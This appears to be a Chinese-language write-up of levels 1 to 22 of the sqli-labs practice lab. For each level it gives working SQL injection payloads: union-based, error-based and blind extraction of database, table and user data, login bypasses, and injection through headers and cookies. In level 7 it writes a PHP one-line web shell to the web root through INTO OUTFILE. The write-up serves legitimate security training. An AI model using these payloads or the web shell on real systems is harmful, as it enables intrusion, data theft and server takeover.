2024.1.21
level-1
(单引号装饰)
先根据提示建立一个get请求
在尝试使用单个单引号测试,成功发现语句未闭合报错
然后反手一个 order by 得到数据库共3列,-- 后面加字母防止浏览器吃掉 -- 操作(有些会)
再把id改到一个不存在的值防止占用回显位,接上 select 得到回显位是2,3
然后随便选一个回显位开始 爆库 --> 爆表 --> 爆字段 --> 爆数据
?id=-1' union select 1,2,database() -- a
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') -- a
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') -- a
?id=-1' union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a
爆数据时也可以用
?id=-1' union select 1,2,(select concat('~',username,'~') from security.users limit 0,1) -- a
或
?id=-1' union select 1,2,(select concat('~',username,'~') from security.users where id=1) -- a
来一个一个爆
(level-1能有什么坏心思呢,直接拿下(¬◡¬)✧)
level-2
(数字型)
先尝试了一个和两个单双引号结果都报错,那就在尝试 id=2-1 发现返回的是id=1的值,那就很明显是个简单的数字型注入
然后就和level-1一样依葫芦画瓢 得列数 --> 爆库 --> 爆表 --> 爆字段 --> 爆数据
此处省略直接给最后一步
?id=-1 union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a
(level-2能有什么坏心思呢,不过是leve-1变了个性罢了(¬◡¬)✧)
level-3
(单引号+括号装饰)
按惯例先小a一个单引号,很好,报错了,看一下报错信息发现多了壳,那就很容易猜到数据库接收的格式大概是 username=('%s') 这样的,那我们也套个壳并把原有的壳干掉
尝试了一下,果然没错,那接下来就是老操作 得列数 --> 爆库 --> 爆表 --> 爆字段 --> 爆数据
直接给poc
?id=-1') union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a
(level-3能有什么坏心思呢,不过是leve-1穿了个衣服罢了(¬◡¬)✧)
level-4
(双引号+括号装饰)
惯例上场先小a一个单引号,没用,再小a一个双引号,直接破防,猜出 username=("%s")
那根据level-3的经验很容易造出绕过
构造出poc
?id=-1") union select 1,2,(select group_concat('~',username,'~') from security.users limit 0,1) -- a
(level-4能有什么坏心思呢,不过是leve-3的兄弟罢了(¬◡¬)✧)
level-5
(报错注入)
很好,对面上来就放隐身技能,but,我们先小a一个单引号,专治各种花里胡哨,对面马上显现
观察报错信息可知和level-1一个路数,但对面都放技能了,我们再平a就不太厚道了,那就趁他病要他命,直接甩个报错注入
Ps:两个常用的报错函数,详细用法请自行了解,
函数 示例 updatexml() ?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) -- a extractvalue() extractvalue(1,concat(0x7e,(mid((select user()),1,32)),0x7e))
老套路 爆库 --> 爆表 --> 爆字段 --> 爆数据
?id=1' union select extractvalue(1,concat('~',database(),'~')) -- a
?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) -- a
?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) -- a
?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users limit 0,1),'~')) -- a
Ps:因为报错注入最多显示32位所以最后面的 ~ 没了,这也是 ~ 存在的原因,可以判断字段是否显示完整
(level-5能有什么坏心思呢,不过是leve-1想和你玩躲猫猫罢了(¬◡¬)✧)
level-6
(报错注入)
很好,又来,小a一个单引号没用那就小a一个双引号,直接秒了
直接给出poc
?id=1" and extractvalue(1,concat('~',(select group_concat(username) from security.users limit 0,1),'~')) -- a
(level-6能有什么坏心思呢,不过是leve-1的兄弟想和你玩躲猫猫罢了(¬◡¬)✧)
level-7
(GETSHELL)
又开始玩花招了,报错信息被ban了,但他还留了提示 use outfile
但依然还是先判断绕过的格式,经过一番激烈的斗争......,得到了格式为 '))
要想mysql读写文件需要更改mysql配置
找到mysql里的my.ini,在[mysqld]中加入 secure-file-priv= 保存并重启mysql即可
那既然 outfile 都甩脸上了,直接写一个一句话木马,再用蚁剑一连,哎,小样给你底裤都扒干净咯
?id=-1')) union select 1,2,'<?php @eval($_POST["abc"]);?>' into outfile "D:\\2.tools_app\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php" -- a
(level-7能有什么坏心思呢,不过是leve-1不想被你看光光罢了(¬◡¬)✧)
level-8
(盲注)
level-7 异父异母的亲兄弟,小a个单引号很容易判断出注入点 id=1' -- a
但很显然 level-8 吸收了level-7 的缺陷,一句话木马注不进去,那么我们也要改变战术——盲注走起,那么——
先爆破一下库名的长度,长度为8
?id=1' and length(database())=1 -- a
在对库名进行爆破,整理得 security
?id=1' and mid((select database()),1,1)='a' -- a
爆表名,得emails,referers,uagents,users
?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a' -- a
爆字段和爆数据操作类似,不写了,偷个懒
(level-8能有什么坏心思呢,不过是leve-1欲情故纵罢了(¬◡¬)✧)
level-9
(盲注)
很好,开始装高冷了,输什么都是一个样,那么就来看看你内心是否真的波澜不惊
抓包扔到 repeater 中可以看到 Content-Length: 707 代表正确
然后小a一个单引号马上显形
那么后续操作就和level-8一样了
?id=1' and mid((select database()),1,1)='a' -- a
(level-9能有什么坏心思呢,不过是leve-1表面的风平浪静罢了(¬◡¬)✧)
level-10
(盲注)
level-9的孪生兄弟,双引号秒了
?id=1" and mid((select database()),1,1)='a' -- a
(level-10能有什么坏心思呢,不过是想给leve-1报仇罢了(¬◡¬)✧)
level-11
(单引号装饰)
变成表单了,但任他变化万千,单引号yyds
在反手接一个万能密码,直接拿下
uname=1'or 1=1 -- a&passwd=2&submit=Submit
这一题把GET请求变成了POST请求,但套路还是一样的
(level-11能有什么坏心思呢,不过是leve-1画了个妆罢了(¬◡¬)✧)
level-12
(双引号+括号装饰)
这熟悉的感觉,是level-4没错了
uname=1") or 1=1 -- a&passwd=2&submit=Submit
(level-12能有什么坏心思呢,不过是leve-4画了个妆罢了(¬◡¬)✧)
level-13
(报错注入)
level-3的注入格式
uname=1') -- a&passwd=2&submit=Submit
但是只有登录成功的标志(我的数据呐┻━┻︵╰(‵□′)╯︵┻━┻),这显然不是我们想要的,想必level-5已经告诉了我们答案,你说是吧,报错注入
uname=1') and updatexml(1,concat('~',(select database()),'~'),1) -- a&passwd=2&submit=Submit
(level-13能有什么坏心思呢,不过是画了妆的leve-3陪你玩躲猫猫罢了(¬◡¬)✧)
level-14
(报错注入)
一个双引号的事,没啥好说的
uname=1" and updatexml(1,concat('~',(select database()),'~'),1) -- a&passwd=2&submit=Submit
(level-14能有什么坏心思呢,我甚至不好评价(¬◡¬)✧)
level-15
(盲注)
配合万能钥匙可以判断出是单引号包装
uname=1' or 1=1 -- a&passwd=2&submit=Submit
正确错误都没回显位, 这高冷的气息,想必盲注的心已经按耐不住了
uname=1' or mid((select database()),1,1)='a' -- a&passwd=2&submit=Submit
(level-15能有什么坏心思呢,他只是想尝尝盲注的味道罢了(¬◡¬)✧)
level-16
(盲注)
依旧是先判断注入点,有了前几关的练级,三下五除二的试出格式
uname=1") or 1=1 -- a &passwd=&submit=Submit
然后就是熟悉的味道,熟悉的盲注
uname=1") or mid((select database()),1,1)="s" -- a &passwd=&submit=Submit
(level-16能有什么坏心思呢,他只是level-4的兄弟罢了(¬◡¬)✧)
level-17
(报错注入)
好好好,这个小卡拉蜜开始嘴臭了,这能忍?忍不了一点(ε=怒ε=怒ε=怒ε=怒ε=( o`ω′)ノ)
看 [PASSWORD RESET] 知道是重置密码,那就要猜一下用户名了,用burp自带的字典爆了一下可以爆出这些用户名
uname=admin&passwd=1&submit=Submit
接下来就是要爆数据了,我先尝试了一下对uname注入但是失败了,那么在试一下对passwd注入,本来想着用盲注的,可在造轮子的时候有了意外发现,测了一下,当password的长度>=21时,会有警告
uname=admin&passwd=123456789012345678901&submit=Submit
那么,有没有利用之处呢
报错注入一手,直接拿下
uname=admin&passwd=1'and updatexml(1,concat('~',(select database()),'~'),1) -- a&submit=Submit
事后回顾:
看了一下源代码,之所以username没有注入点是因为用了mysql_fetch_array()
mysql_fetch_array() 函数从结果集中取得一行做为关联数组(即键值对数组,带有指定的键的数组,每一个键关联一个值),或数字数组(带有数字 ID 键的数组),或两者兼有mysql
返回根据从结果集取得的行生成的数组,若是没有更多行则返回 false。
(level-17能有什么坏心思呢,只是犯下了傲慢之罪罢了(¬◡¬)✧)
level-18
(User-Agent 注入)
一开始就把IP怼脸上,既然有IP显示,那大概率http请求报头与数据库有交互,既然有交互,就有注入的机会,在用admin登录看看有什么幺蛾子
uname=admin&passwd=admin&submit=Submit
可以看到 User-Agent 也有交互,那么针对 User-Agent 构造poc,直接接在后面即可
' and updatexml(1,concat('~',(select database()),'~'),1) and '
Ps:
' and updatexml(1,concat('~',(select database()),'~'),1) and '
↓ ↓ ↓ ↓ ↓
与数据 连接 报错注入语句 连接 与数据
库原有 前后 前后 库原有
的单引 语句 语句 的单引
号闭合 号闭合
(level-18能有什么坏心思呢,只是想更多的了解你罢了(¬◡¬)✧)
level-19
(Referer 注入)
和 level-18 殊途同归,这题是 Referer 请求头注入,改都不带改的,直接一粘
' and updatexml(1,concat('~',(select database()),'~'),1) and '
(level-19能有什么坏心思呢,不过想看看召唤自己的咒语罢了(¬◡¬)✧)
level-20
(cookie 注入)
用admin登进去,发现这次多了 cookie 属性,那就抓包准备接借 cookie 之手进行注入
哎呀,也没啥变化,和level-19一样,一粘可以了
' and updatexml(1,concat('~',(select database()),'~'),1) and '
(level-20能有什么坏心思呢,他只是罢了(¬◡¬)✧)(唯有抓包才能发现的彩蛋(也许吧))
level-21
(cookie 注入+数据加密)
从页面上就可以看出这次的数据被 baes64 加密了
中国有句古话:师夷长技以制夷 ,用base64加密后的数据即可爆出数据
加密前:
admin' and updatexml(1,concat('~',(select database()),'~'),1) and '
加密后:
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgJw==
(level-21能有什么坏心思呢,他只是进行了秘密行动罢了(¬◡¬)✧)
level-22
(cookie 注入+数据加密)
和level-21大差不差,用双引号装饰
admin" and updatexml(1,concat('~',(select database()),'~'),1) and "
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgIg==
(level-22能有什么坏心思呢,(¬◡¬)✧)